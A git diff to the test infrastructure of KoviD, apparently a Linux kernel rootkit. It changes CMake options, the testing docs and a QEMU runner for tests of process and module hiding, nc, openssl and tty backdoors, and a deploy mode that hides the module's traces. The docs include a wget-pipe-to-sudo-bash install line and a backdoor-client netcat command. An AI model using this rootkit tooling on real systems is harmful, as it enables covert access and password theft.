diff --git a/CMakeLists.txt b/CMakeLists.txt index 729600f..2cbcb79 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -38,12 +38,36 @@ execute_process( ) # Step 6: Define Build Options -option(DEPLOY "Turn off ring buffer debug" OFF) +option(DEPLOY "Build in Deploy mode" OFF) +option(DEBUG "Build in Debug mode " OFF) if(NOT DEPLOY) set(DEBUG_PR -DDEBUG_RING_BUFFER) + set(DEBUG ON CACHE BOOL "Build in Debug mode" FORCE) endif() +# Cross tests are the ones we run on qemu. +# It needs both KOVID_LINUX and KERNEL_DIR to be setup +# since we support linux 5.10 only for this kind of tests. +option(CROSS_TESTS "Turn ON cross tests on qemu" OFF) + +option(NATIVE_TESTS "Turn ON native tests" ON) + +# Check if KOVID_LINUX and KERNEL_DIR variables are set +if(DEFINED KOVID_LINUX AND "${KOVID_LINUX}" STREQUAL "5.10" AND DEFINED KERNEL_DIR AND NOT "${KERNEL_DIR}" STREQUAL "") + set(CROSS_TESTS ON CACHE BOOL "Turn ON cross tests on qemu" FORCE) + set(NATIVE_TESTS ON CACHE BOOL "Turn OFF native tests" FORCE) +endif() + +# Print status messages to verify settings +message(STATUS "KOVID_LINUX: ${KOVID_LINUX}") +message(STATUS "KERNEL_DIR: ${KERNEL_DIR}") +message(STATUS "CROSS_TESTS: ${CROSS_TESTS}") +message(STATUS "NATIVE_TESTS: ${NATIVE_TESTS}") + +message(STATUS "DEPLOY build: ${DEPLOY}") +message(STATUS "DEBUG build: ${DEBUG}") + # Define COMPILER_OPTIONS as a list set(COMPILER_OPTIONS -Wno-error diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 056d92c..fc533eb 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -1,24 +1,13 @@ -# Manual testing of KoviD features +# Testing of KoviD LKM This document describes the process of testing the features of Kovid LKM. -Please see `docs/QEMUSetupForTesting.md` that contains info for qemu setup. -## Fetch LFS and submodules +The tests are located in the `test/` directory of the project and are divided into two main categories: -``` -$ git fetch --recurse-submodules -``` -or: - -``` -$ git submodule update --remote --recursive -``` - -LFS should be fetched: +1. Native Tests (`test/native`) +2. Cross Tests -``` -$ git lfs fetch --all -``` +We will cover host to build the project first and then describe the testing infrastructure. ## Build KoviD @@ -47,7 +36,15 @@ NOTE: You can customize it: $ cmake -DPROCNAME=myproc -DMODNAME=mymodule ../ ``` -### Building for Linux version other than native +If you want to build and run native tests only, just use: + +``` +$ cmake ../ -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" +``` + +## Building for Linux version other than native + +This is needed if you want to run cross tests, or if you want to "cross" compile the LKM for a Linux version that is different than the one you run on your PC. ``` $ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc-12 && make CC=gcc-12 @@ -105,23 +102,174 @@ $ make *** ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name". Stop. ``` -### Run tests +## Native Tests (`test/native`) + + These tests run natively on the host system without the need for emulation or virtualization. + They verify the functionality of the LKM in the environment where it is developed, ensuring compatibility and stability on the host system. + To simply run those (but make sure you followed the instructions for setting the enviroment described below): + + ``` + # From root directory of the project + $ mkdir build && cd build + $ cmake ../ -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" + # Please run the command with only one Thread! + $ make check-kovid -j1 + ``` + +NOTE: You will be asked for `sudo` password. + +## Cross Tests + +These tests run on a QEMU emulator, allowing testing on different Linux kernel versions or architectures. +Subcategories: +1. Simple Cross Tests (`test/cross`): + Run entirely within the QEMU guest environment. + Essential for validating the LKM in a controlled setting that simulates different kernel versions. +2. Complex Cross Tests (`test/complex`): + Partially run on QEMU and partially on the host system. + Designed to test the interaction between the guest and host environments, ensuring proper communication and handshake in various scenarios. + +### Importance of Cross Tests + +Cross tests are crucial when you need to compile and test the LKM for a Linux version that is different from the one used on your host PC. They provide the infrastructure for both the compilation and testing of such Linux versions. This is particularly important for: + + 1. Compatibility Testing: Ensuring that the LKM works correctly across different kernel versions. + 2. Regression Testing: Identifying any issues that may arise when the module is used in environments other than the development system. + +### Test Artifacts + +Currently, the project supports testing with Linux kernel version 5.10. The necessary test artifacts, including the Linux image and root filesystem (rootfs), are provided as a git submodule. These artifacts are located in the test/test-artefacts/ directory. +Benefits of Using Test Artifacts + + Consistency: Provides a standardized environment for testing, leading to reproducible results. + Convenience: Simplifies the setup process, as the required images and files are readily available within the project structure. + +Setting Up the Tests + +To get started with testing: + + Initialize Submodules: Ensure that all submodules are initialized and updated to obtain the test artifacts. + Use the command: git submodule update --init --recursive. + + Configure the Build Environment: + Specify the desired kernel version. + Provide the path to the kernel headers if necessary. + + Running Native Tests: + Navigate to the test/native directory. + Execute the test scripts as needed. + + Running Cross Tests: + For simple cross tests, navigate to test/cross and follow the provided instructions. + For complex cross tests, navigate to test/complex and ensure both guest and host components are properly configured. + + +### Fetch LFS and submodules + +``` +$ git fetch --recurse-submodules +``` +or: + +``` +$ git submodule update --remote --recursive +``` + +LFS should be fetched: + +``` +$ git lfs fetch --all +``` + +Usual set of commands to be used: + +``` +$ git clone https://github.com/carloslack/KoviD.git main-KoviD && cd main-KoviD +$ git submodule update --init test/test-artefacts +$ mkdir build && cd build +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" && make check-kovid +``` + +## Insall dependecies and set up enviroment + +``` +$ sudo apt install cmake +$ sudo apt install g++ +``` Please make sure to install llvm-tools, since we will be using some of the tools for testing infrastructure: ``` sudo apt-get install llvm-18-dev sudo apt-get install llvm-18-tools +sudo apt install python3-pip sudo apt-get install libslirp-dev sudo apt-get install qemu-system-x86 +sudo apt install netcat nmap +sudo apt-get -y install socat ``` -Run tests: +On an older Ubuntu, follow https://apt.llvm.org/. +For example: ``` -$ cd KoviD && mkdir build && cd build -$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc -$ make PROCNAME="myprocname" +$ sudo bash -c "$(wget -O - https://apt.llvm.org/llvm.sh)" +``` + +If you do not have `llvm-lit` installed, do: + +``` +$ pip3 install lit +$ sudo ln -s ~/.local/bin/lit /usr/bin/llvm-lit +$ which llvm-lit +/usr/bin/llvm-lit +``` + +NOTE: Make sure you set up `openssl` before running tests. + +## Some potential issues + +On Ubuntu 20.04, if you see: + +``` +$ sudo scripts/bdclient.sh nc localhost 9999 +nc: getnameinfo: Temporary failure in name resolution +``` + +Just fix DNS server, e.g. by adding `0.0.0.0 localhost` into `/etc/hosts`. + +## How to Write tests? + +### Cross (marker `CROSS_TESTS`) + +Each test consists of a pair of files: + + 1) Bash Script (.sh file): A shell script that will be transferred to QEMU. It contains the set of commands we want to test. + 2) Expected Output (.test file): A file that contains the expected output for the test, which we use to verify that our feature is working as intended. + +### Native (marker `NATIVE_TESTS`) + +This type of tests consists only one `.test` file, that contains both `bash` commands and expected output to check against. + +### Additional test Markers + + - Deploy Mode Tests (# REQUIRES: DEPLOY_ONLY): Some tests are run only when the Loadable Kernel Module (LKM) is built in deploy mode. These tests have a .test file marked with # DEPLOY_ONLY at the top. + - Debug Mode Tests (# REQUIRES: DEBUG_ONLY): Tests that should only run in debug mode are marked with # DEBUG_ONLY in their .test files. + - If a test does not have any of these marker, it will be run in each mode. + +## Run tests + +Run tests (for `native` tests, you will be asked for `sudo` password): + +``` +$ make check-kovid -j1 +``` + +Run tests in `DEPLOY` mode (some tests are run in this mode only; this is example for `cross` tests): + +``` +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCROSS_TESTS=ON -DCMAKE_C_COMPILER=gcc -DDEPLOY=1 +$ make PROCNAME="myprocname" DEPLOY=1 $ make check-kovid ``` @@ -133,8 +281,8 @@ Here are information about testing of the features available. | Feature | Tested | Regression Test | | :--------------------------------------------------| :------------------------------| :--------------------------------- | -| Hide process | Yes | features/hide-pid.test | -| Extract base address of a running process | Yes | features/extract-base-address.test | +| Hide process | Yes | cross/hide-pid.test | +| Extract base address of a running process | Yes | cross/extract-base-address.test | | anti-rk's that are available (bpf-hookdetect) | No (hard to test on qemu) | None | | anti-rk's that are available (rkspotter) | No (build for non host kernel) | None | | anti-rk's that are available (rkbreaker) | No (build for non host kernel) | None | @@ -142,3 +290,19 @@ Here are information about testing of the features available. | Log tty keys and steal passwords over SSH (and FTP)| No (understand bdclient) | None | | Simple persistence using ELF infection with Volundr| No (understand bdclient) | None | | Hide pre-defined network application | Yes | None | + +#### 2.1.1 Testing + +NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should contain `# REQUIRES: DEPLOY_ONLY` marker. + +| Feature | Tested | Regression Test | +| :--------------------------------------------------| :------------------------------| :------------------------------------ | +| No tainted messages/log appear in DEPLOY | Yes | cross/no-kovid-logs-in-deploy.test | +| kovid (DEPLOY) doesn't appear in /var /sys etc. | Yes | cross/no-kovid-found.test | +| Hide/Unhide Module Test in DEBUG Mode | Yes | cross/hide-unhide-module.test | +| Hide nc process | Yes | complex/nc-hide-pid{_host}.test | +| nc backdoor | Yes | native/nc-backdoor.test | +| openssl backdoor | Yes | native/openssl-backdoor.test | +| tty backdoor | Yes | native/tty-backdoor.test | +| backdoor echo -s | Yes | native/nc-backdoor-echo-s.test | +| Hide/Unhide Module | Yes | native/hide-unhide-module.test | diff --git a/test/Artefacts/qemu-runner.sh b/test/Artefacts/qemu-runner.sh index 3bfeb86..213b22f 100755 --- a/test/Artefacts/qemu-runner.sh +++ b/test/Artefacts/qemu-runner.sh @@ -1,49 +1,75 @@ #!/bin/bash -# Define the project root based on the assumed structure relative to the build directory +# Exit immediately if a command exits with a non-zero status +set -e + +# Function to cleanup QEMU and temporary files on exit +cleanup() { + echo "Cleaning up QEMU and temporary files..." + if [[ -n "$QEMU_PID" ]]; then + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + wait "$QEMU_PID" 2>/dev/null || true + fi + if [[ -f "$TEMP_ROOTFS" ]]; then + rm -f "$TEMP_ROOTFS" + fi +} +trap cleanup EXIT + +# Define the project root based on the script's location PROJECT_ROOT="$(cd "$(dirname "$0")"/.. && pwd)" CMAKE_BINARY_DIR="${PROJECT_ROOT}/build" # Define paths for necessary files KERNEL_IMAGE="${PROJECT_ROOT}/test/test-artefacts/linux-5.10/bzImage" ROOT_FS="${PROJECT_ROOT}/test/test-artefacts/linux-5.10/rootfs.ext2" -TEST_DIR="${PROJECT_ROOT}/test/features" +TEST_DIR="${PROJECT_ROOT}/test/cross" +TEST_COMPLEX_DIR="${PROJECT_ROOT}/test/complex" RFS_PATH="/root" SSH_PORT=5555 SSH_KEY="${PROJECT_ROOT}/test/Artefacts/id_rsa_qemu" QEMU_FLAGS="-nographic" KOVID_MODULE="${CMAKE_BINARY_DIR}/kovid.ko" +# Ensure SSH key has correct permissions +chmod 600 "$SSH_KEY" + # Check for essential files if [[ ! -f "$KERNEL_IMAGE" || ! -f "$ROOT_FS" || ! -f "$KOVID_MODULE" ]]; then echo "Error: Essential files (bzImage, rootfs.ext2, or kovid.ko) not found." exit 1 fi +DEPLOY=${DEPLOY:-0} + +# Export DEPLOY for use in lit +export DEPLOY + # Function to execute each test script on QEMU -execute_test_script() { - TEST_SCRIPT=$1 # Path to the test script on the host - TEST_LOG="$(basename "${TEST_SCRIPT%.sh}.log")" # Log file name on the host +# Parameters: +# $1 - Path to the test script on the host +execute_regular_test_script() { + local TEST_SCRIPT=$1 + local TEST_LOG="$(basename "${TEST_SCRIPT%.sh}.log")" # Create a writable copy of the root filesystem - TEMP_ROOTFS="/tmp/rootfs_writable.ext2" + local TEMP_ROOTFS="/tmp/rootfs_writable_$(basename "$ROOT_FS")" cp "${ROOT_FS}" "${TEMP_ROOTFS}" - # Start QEMU in the background + echo "Starting QEMU in background for test: $(basename "$TEST_SCRIPT")" qemu-system-x86_64 \ -kernel "$KERNEL_IMAGE" \ -append "root=/dev/sda rw console=ttyS0,115200 init=/sbin/init" \ -drive format=raw,file="$TEMP_ROOTFS" \ -device e1000,netdev=net0 \ - -netdev user,id=net0,hostfwd=tcp::${SSH_PORT}-:22 \ - $QEMU_FLAGS &> qemu_output.log & - - QEMU_PID=$! + -netdev user,id=net0,hostfwd=tcp::${SSH_PORT}-:22,hostfwd=tcp::9999-:9999 \ + $QEMU_FLAGS > "qemu_output_$(basename "$TEST_SCRIPT").log" 2>&1 & + local QEMU_PID=$! # Wait for SSH to be available echo "Waiting for QEMU && SSH to be ready..." for i in {1..20}; do - if ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p ${SSH_PORT} root@localhost 'echo SSH is ready'; then + if ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; then echo "SSH connection to QEMU established." break fi @@ -52,24 +78,18 @@ execute_test_script() { done # Final check if SSH is still not available - if ! ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p ${SSH_PORT} root@localhost 'echo SSH is ready'; then + if ! ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; then echo "Failed to establish SSH connection to QEMU after multiple attempts. Exiting..." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 fi # Transfer kovid.ko to QEMU and load it - echo "Transferring and loading kovid.ko on QEMU..." - scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P ${SSH_PORT} "$KOVID_MODULE" root@localhost:"$RFS_PATH/kovid.ko" || { + echo "Transferring kovid.ko to QEMU..." + scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P "${SSH_PORT}" "$KOVID_MODULE" root@localhost:"$RFS_PATH/kovid.ko" || { echo "Failed to transfer kovid.ko to QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null - rm -f "$TEMP_ROOTFS" - exit 1 - } - ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -p ${SSH_PORT} root@localhost "insmod $RFS_PATH/kovid.ko" || { - echo "Failed to load kovid.ko on QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 } @@ -77,17 +97,17 @@ execute_test_script() { echo "Running test script $(basename "$TEST_SCRIPT") on QEMU..." # Transfer the test script to QEMU - scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P ${SSH_PORT} "$TEST_SCRIPT" root@localhost:"$RFS_PATH/$(basename "$TEST_SCRIPT")" || { + scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P "${SSH_PORT}" "$TEST_SCRIPT" root@localhost:"$RFS_PATH/$(basename "$TEST_SCRIPT")" || { echo "Failed to transfer test script $(basename "$TEST_SCRIPT") to QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 } # Run the test script on QEMU, capturing output and returning immediately - ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -p ${SSH_PORT} root@localhost "nohup sh -c 'chmod +x $RFS_PATH/$(basename "$TEST_SCRIPT") && $RFS_PATH/$(basename "$TEST_SCRIPT")' > $RFS_PATH/$TEST_LOG 2>&1 &" || { + ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -p "${SSH_PORT}" root@localhost "nohup sh -c 'chmod +x $RFS_PATH/$(basename "$TEST_SCRIPT") && $RFS_PATH/$(basename "$TEST_SCRIPT")' > $RFS_PATH/$TEST_LOG 2>&1 &" || { echo "Failed to execute test script $(basename "$TEST_SCRIPT") on QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 } @@ -95,9 +115,10 @@ execute_test_script() { sleep 1 # Wait briefly to ensure the test script starts # Retrieve the log file from QEMU - scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P ${SSH_PORT} root@localhost:"$RFS_PATH/$TEST_LOG" . || { + echo "Retrieving log file $TEST_LOG from QEMU..." + scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P "${SSH_PORT}" root@localhost:"$RFS_PATH/$TEST_LOG" . || { echo "Failed to retrieve log file $TEST_LOG from QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 } @@ -105,21 +126,220 @@ execute_test_script() { # Display completion message echo "Test script $(basename "$TEST_SCRIPT") completed. Output saved to $TEST_LOG." - # Cleanup for each test + # Cleanup echo "Cleaning up QEMU for $(basename "$TEST_SCRIPT")..." kill -SIGTERM "$QEMU_PID" 2>/dev/null - wait "$QEMU_PID" 2>/dev/null + wait "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" echo "QEMU shut down and temporary files cleaned for $(basename "$TEST_SCRIPT")." } -# Loop through each .test file and corresponding script in TEST_DIR -for TEST_FILE in "$TEST_DIR"/*.test; do - TEST_SCRIPT="${TEST_FILE%.test}.sh" - # Ensure both .test and .sh files exist before running the test - if [[ -f "$TEST_FILE" && -f "$TEST_SCRIPT" ]]; then - execute_test_script "$TEST_SCRIPT" - else - echo "Skipping $(basename "$TEST_SCRIPT") as it or the .test file is missing." +# Function to execute tests in a given directory +# Parameters: +# $1 - Path to the test directory +execute_regular_tests() { + local DIR=$1 + + for TEST_FILE in "$DIR"/*.test; do + local TEST_SCRIPT="${TEST_FILE%.test}.sh" + + echo "Deploy: ${DEPLOY}. Note that if DEPLOY is 1, we may mark some tests as Unsupported" + + if [[ -f "$TEST_FILE" && -f "$TEST_SCRIPT" ]]; then + # Check for DEPLOY_ONLY and DEBUG_ONLY markers + local DEPLOY_ONLY_MARKER=$(grep -c '^# DEPLOY_ONLY' "$TEST_FILE") + local DEBUG_ONLY_MARKER=$(grep -c '^# DEBUG_ONLY' "$TEST_FILE") + + if [[ "$DEPLOY_ONLY_MARKER" -gt 0 && "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + echo "Skipping $(basename "$TEST_SCRIPT") because it has both DEPLOY_ONLY and DEBUG_ONLY markers." + elif [[ "$DEPLOY_ONLY_MARKER" -gt 0 ]]; then + if [[ "$DEPLOY" == "1" ]]; then + execute_regular_test_script "$TEST_SCRIPT" + else + echo "Skipping $(basename "$TEST_SCRIPT") because it requires DEPLOY=1." + fi + elif [[ "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + if [[ "$DEPLOY" != "1" ]]; then + execute_regular_test_script "$TEST_SCRIPT" + else + echo "Skipping $(basename "$TEST_SCRIPT") because it's a DEBUG_ONLY test and DEPLOY=1." + fi + else + # No marker, run the test regardless of DEPLOY + execute_regular_test_script "$TEST_SCRIPT" + fi + else + echo "Skipping $(basename "$TEST_SCRIPT") as it or the .test file is missing." + fi + done +} + +# Function to execute each backdoor test +# Parameters: +# $1 - Path to the guest test script on the host +# $2 - Path to the host test script on the host +execute_backdoor_test() { + local GUEST_TEST_SCRIPT=$1 + local HOST_TEST_SCRIPT=$2 + local TEST_LOG_GUEST="$(basename "${GUEST_TEST_SCRIPT%.sh}.log")" + local TEST_LOG_HOST="$(basename "${HOST_TEST_SCRIPT%.sh}.log")" + + # Create a writable copy of the root filesystem + TEMP_ROOTFS="/tmp/rootfs_writable_$(basename "$ROOT_FS")" + cp "${ROOT_FS}" "${TEMP_ROOTFS}" + + echo "Starting QEMU in background for backdoor test: $(basename "$GUEST_TEST_SCRIPT")" + + # Launch QEMU in the background and redirect output to the build directory + qemu-system-x86_64 \ + -kernel "$KERNEL_IMAGE" \ + -append "root=/dev/sda rw console=ttyS0,115200 init=/sbin/init" \ + -drive format=raw,file="$TEMP_ROOTFS" \ + -device e1000,netdev=net0 \ + -netdev user,id=net0,hostfwd=tcp::${SSH_PORT}-:22,hostfwd=tcp::9999-:9999 \ + $QEMU_FLAGS > "${CMAKE_BINARY_DIR}/qemu_output_$(basename "$GUEST_TEST_SCRIPT").log" 2>&1 & + local QEMU_PID=$! + + # Wait for SSH to become available + echo "Waiting for SSH to be ready for backdoor test: $(basename "$GUEST_TEST_SCRIPT")..." + for i in {1..30}; do + if ssh -i "$SSH_KEY" -o BatchMode=yes -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; then + echo "SSH connection established for backdoor test: $(basename "$GUEST_TEST_SCRIPT")." + break + fi + echo "SSH not ready, retrying in 3 seconds... (Attempt $i/30)" + sleep 3 + done + + # Final check if SSH is still not available + if ! ssh -i "$SSH_KEY" -o BatchMode=yes -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; then + echo "Failed to establish SSH connection to QEMU for backdoor test: $(basename "$GUEST_TEST_SCRIPT"). Exiting..." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 fi -done + + # Copy Netcat and its libraries to the guest + echo "Copying Netcat and its libraries to QEMU..." + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" /bin/nc.openbsd root@localhost:"/bin/nc" || { + echo "Failed to copy Netcat to QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" /lib/x86_64-linux-gnu/libbsd.so.0 root@localhost:"/lib/libbsd.so.0" || { + echo "Failed to copy libbsd.so.0 to QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" /lib/x86_64-linux-gnu/libmd.so.0 root@localhost:"/lib/libmd.so.0" || { + echo "Failed to copy libmd.so.0 to QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + # Transfer and execute the guest backdoor test script + echo "Transferring and executing guest backdoor test script: $(basename "$GUEST_TEST_SCRIPT") on QEMU..." + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" "$GUEST_TEST_SCRIPT" root@localhost:"$RFS_PATH/$(basename "$GUEST_TEST_SCRIPT")" || { + echo "Failed to transfer guest backdoor test script: $(basename "$GUEST_TEST_SCRIPT") to QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + # Execute the guest backdoor test script in the background on QEMU + ssh -i "$SSH_KEY" -o StrictHostKeyChecking=no -p "${SSH_PORT}" root@localhost "nohup sh -c 'chmod +x $RFS_PATH/$(basename "$GUEST_TEST_SCRIPT") && $RFS_PATH/$(basename "$GUEST_TEST_SCRIPT")' > $RFS_PATH/$TEST_LOG_GUEST 2>&1 &" || { + echo "Failed to execute guest backdoor test script: $(basename "$GUEST_TEST_SCRIPT") on QEMU." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + rm -f "$TEMP_ROOTFS" + exit 1 + } + + sleep 4 # Wait briefly to ensure the test script starts + + # Execute the host backdoor test script + echo "Executing host backdoor test script: $(basename "$HOST_TEST_SCRIPT")..." + bash "$HOST_TEST_SCRIPT" > "$TEST_LOG_HOST" 2>&1 + + # Retrieve the guest log file from QEMU + echo "Retrieving log file $TEST_LOG_GUEST from QEMU..." + scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" root@localhost:"$RFS_PATH/$TEST_LOG_GUEST" "${CMAKE_BINARY_DIR}/" || { + echo "Failed to retrieve log file $TEST_LOG_GUEST from QEMU." + } + + # Manually kill QEMU after backdoor test + echo "Killing QEMU after backdoor test: $(basename "$GUEST_TEST_SCRIPT")..." + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + + # Wait for QEMU to terminate + wait "$QEMU_PID" 2>/dev/null || true + + # Display completion messages + echo "Backdoor test script $(basename "$GUEST_TEST_SCRIPT") completed. Output saved to $TEST_LOG_GUEST." + echo "Host backdoor test script $(basename "$HOST_TEST_SCRIPT") completed. Output saved to $TEST_LOG_HOST." + + # Cleanup + echo "Cleaning up temporary files for backdoor test: $(basename "$GUEST_TEST_SCRIPT")..." + rm -f "$TEMP_ROOTFS" + echo "Cleanup completed for backdoor test: $(basename "$GUEST_TEST_SCRIPT")." +} + + +# Function to execute backdoor tests in a given directory +# Parameters: +# $1 - Path to the backdoor test directory +execute_backdoor_tests() { + local DIR=$1 + + for TEST_FILE in "$DIR"/*.test; do + local GUEST_TEST_SCRIPT="${TEST_FILE%.test}.sh" + local HOST_TEST_SCRIPT="${TEST_FILE%.test}_host.sh" + + echo "Deploy: ${DEPLOY}. Note that if DEPLOY is 1, we may mark some backdoor tests as Unsupported" + + if [[ -f "$TEST_FILE" && -f "$GUEST_TEST_SCRIPT" && -f "$HOST_TEST_SCRIPT" ]]; then + # Check for DEPLOY_ONLY and DEBUG_ONLY markers + local DEPLOY_ONLY_MARKER=$(grep -c '^# DEPLOY_ONLY' "$TEST_FILE") + local DEBUG_ONLY_MARKER=$(grep -c '^# DEBUG_ONLY' "$TEST_FILE") + + if [[ "$DEPLOY_ONLY_MARKER" -gt 0 && "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + echo "Skipping backdoor test $(basename "$GUEST_TEST_SCRIPT") because it has both DEPLOY_ONLY and DEBUG_ONLY markers." + elif [[ "$DEPLOY_ONLY_MARKER" -gt 0 ]]; then + if [[ "$DEPLOY" == "1" ]]; then + execute_backdoor_test "$GUEST_TEST_SCRIPT" "$HOST_TEST_SCRIPT" + else + echo "Skipping backdoor test $(basename "$GUEST_TEST_SCRIPT") because it requires DEPLOY=1." + fi + elif [[ "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + if [[ "$DEPLOY" != "1" ]]; then + execute_backdoor_test "$GUEST_TEST_SCRIPT" "$HOST_TEST_SCRIPT" + else + echo "Skipping backdoor test $(basename "$GUEST_TEST_SCRIPT") because it's a DEBUG_ONLY test and DEPLOY=1." + fi + else + # No marker, run the backdoor test regardless of DEPLOY + execute_backdoor_test "$GUEST_TEST_SCRIPT" "$HOST_TEST_SCRIPT" + fi + else + echo "Skipping backdoor test $(basename "$GUEST_TEST_SCRIPT") as it or its companion files are missing." + fi + done +} + +# Main Execution + +# Execute Regular Tests +echo "==============================" +echo "Starting Regular Tests on QEMU" +echo "==============================" +execute_regular_tests "$TEST_DIR" + +# Execute Complex Tests +echo "=======================================" +echo "Starting Complex Tests on QEMU and host" +echo "=======================================" +execute_backdoor_tests "$TEST_COMPLEX_DIR" diff --git a/test/CMakeLists.txt b/test/CMakeLists.txt index 962cdfd..6161024 100644 --- a/test/CMakeLists.txt +++ b/test/CMakeLists.txt @@ -27,17 +27,43 @@ configure_lit_site_cfg( ${CMAKE_CURRENT_SOURCE_DIR}/lit.cfg.py ) -# Define a custom target to run qemu-runner.sh before tests -add_custom_target(run-qemu-runner - COMMAND bash ${CMAKE_BINARY_DIR}/qemu-runner.sh - WORKING_DIRECTORY ${CMAKE_BINARY_DIR} - COMMENT "Running qemu-runner.sh" -) +# Find llvm-lit +find_program(LLVM_LIT NAMES llvm-lit lit PATHS "${LLVM_TOOLS_BINARY_DIR}" "${LLVM_BUILD_BINARY_DIR}" "/usr/bin" NO_DEFAULT_PATH) + +if(NOT LLVM_LIT) + message(FATAL_ERROR "llvm-lit not found. Please install it or specify its location.") +else() + message(STATUS "Found llvm-lit: ${LLVM_LIT}") +endif() + +# Check and set LLVM_EXTERNAL_LIT +if(DEFINED LLVM_EXTERNAL_LIT AND EXISTS ${LLVM_EXTERNAL_LIT}) + message(STATUS "Using LLVM_EXTERNAL_LIT: ${LLVM_EXTERNAL_LIT}") +else() + message(WARNING "LLVM_EXTERNAL_LIT not set or invalid, using LLVM_LIT instead") + set(LLVM_EXTERNAL_LIT ${LLVM_LIT} CACHE FILEPATH "Path to llvm-lit" FORCE) +endif() -add_lit_testsuite(check-kovid "Running the KOVID regression tests" +# Define the custom target if CROSS_TESTS is ON +if(CROSS_TESTS) + add_custom_target(run-qemu-runner + COMMAND DEPLOY=${DEPLOY} bash ${CMAKE_BINARY_DIR}/qemu-runner.sh + WORKING_DIRECTORY ${CMAKE_BINARY_DIR} + COMMENT "Running qemu-runner.sh" + ) + + add_lit_testsuite(check-kovid "Running the KOVID regression tests" ${CMAKE_CURRENT_BINARY_DIR} DEPENDS ${KOVID_TEST_DEPENDS} run-qemu-runner - ) + ) +else() + add_lit_testsuite(check-kovid "Running the KOVID regression tests" + ${CMAKE_CURRENT_BINARY_DIR} + DEPENDS ${KOVID_TEST_DEPENDS} + ) +endif() + set_target_properties(check-kovid PROPERTIES FOLDER "Tests") -add_lit_testsuites(KOVID ${CMAKE_CURRENT_SOURCE_DIR} DEPENDS 